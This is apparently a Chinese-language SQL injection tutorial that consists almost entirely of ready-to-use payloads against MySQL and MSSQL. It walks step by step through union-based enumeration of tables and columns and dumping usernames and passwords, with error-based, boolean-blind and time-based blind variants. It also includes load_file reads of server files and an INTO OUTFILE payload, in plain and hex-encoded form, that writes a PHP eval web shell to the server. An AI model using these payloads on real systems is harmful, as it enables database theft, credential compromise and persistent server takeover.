web安全(一)：sql注入详解

提交方式：GET  POST COOKIE参数注入：数字型/字符型/搜索型数据库类型：ACCESS/Mysql/MSSQL/Oracle手工注入方法：联合查询、报错注入、盲注（基于布尔型、基于时间延迟）

and (select count(*) from mysql.user)>0#and (select count(file_priv) from mysql.user)>#

id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file（’/var/www/index.php’）(物理路径转16进制)

?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

1.判断是否可以注入    ?id=1 and 1=1，页面正常    ?id=1 and 1=2，页面空白2.获得字段数order by的方法来判断，比如：    ?id=1 order by 4   页面显示正常    ?id=1 order by 5   页面出错，说明字段数等于43.获得显示位    ?id=1 and 1=2 union select 1,2,3,4     //比如，页面上出现了几个数字，分别是2，3，4，那么，这几个数字就被我们称作显示位。4.猜表名    猜表名的方法是，在第三步的完整的地址后加上：Form 表名，比如：        ?id=1 and 1=2 union select 1,2,3,4 from users    这样，当users表存在的话，页面就会显示正常，如果我们提交一个不存在的表名，页面就会出错。
5.猜字段    使用：Concat(字段名)替换显示位的位置。        ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

1.先判断是否可以注入    and+1=1，页面正常    and+1=2，页面空白2.获得字段数：使用order by提交：    ?id=1 order by 4 正确。    ?id=1 order by 5 错误。    那么，判断出字段数为4。3.获得显示位
提交：?id=1 +and+1=2+union+select+1,2,3,4显示位为：2，3，44.获取信息    ?id=1 +and+1=2+union+select+1,2,3,version()
    database()     user()      version()     database()      @@basedir  数据库安装路径    @@datadir  数据库路径5.查表?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--得到表：test
6.查字段    ?id=1 and 1=2 union select 1,2,3,column_name from information_schema.columns where table_name=0x74657374 limit 0,1--    得到字段：id，username，password7.爆字段内容    ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))and 1=(updatexml(1,concat(0x3a,(select user())),1))and GeometryCollection((select*from(select*from(select @@version)f)x))and polygon((select*from(select name_const(version(),1))x))and linestring((select * from(select * from(select user())a)b))and multilinestring((select * from(select * from(select version())a)b));and multipoint((select * from(select * from(select user())a)b));and multipolygon((select * from(select * from(select user())a)b));and exp(~(select * from(select version())a));

id=1 and (select length(user()))=20 # 返回正常页面  长度20位id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97//截取username第一个数据的ascii值

1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

1.判断是否存在注入    ?id=1 and 1=1--  返回正确    ?id=1 and 1=2--  返回错误
2.获取字段数    ?id=1 order by 2-- 返回正确页面      ?id=1 order by 3-- 返回错误页面    字段长度为2
3.查看数据库版本    ?id=1 and 1=2 union select  db_name(),null   //获得当前数据库
4.查看表名    ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users') 
5.查看列名    ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname')
6.获取数据    ?id=1 and 1=2 union select top 1 uname,null from users

1.获取表名?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )--2.获取列名?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --
3.获取数据?id=4' and 1=(select top 1 pwd from admin) --
4.获取数据库信息?id=1' and 1=(select @@version)--   //SQL Server 2000?id=1' and 1=(select db_name())  //当前使用的数据库

1、猜表名
?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 --  //获取第一个表的长度7
?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 --    //截取第一个表第一位的ascii码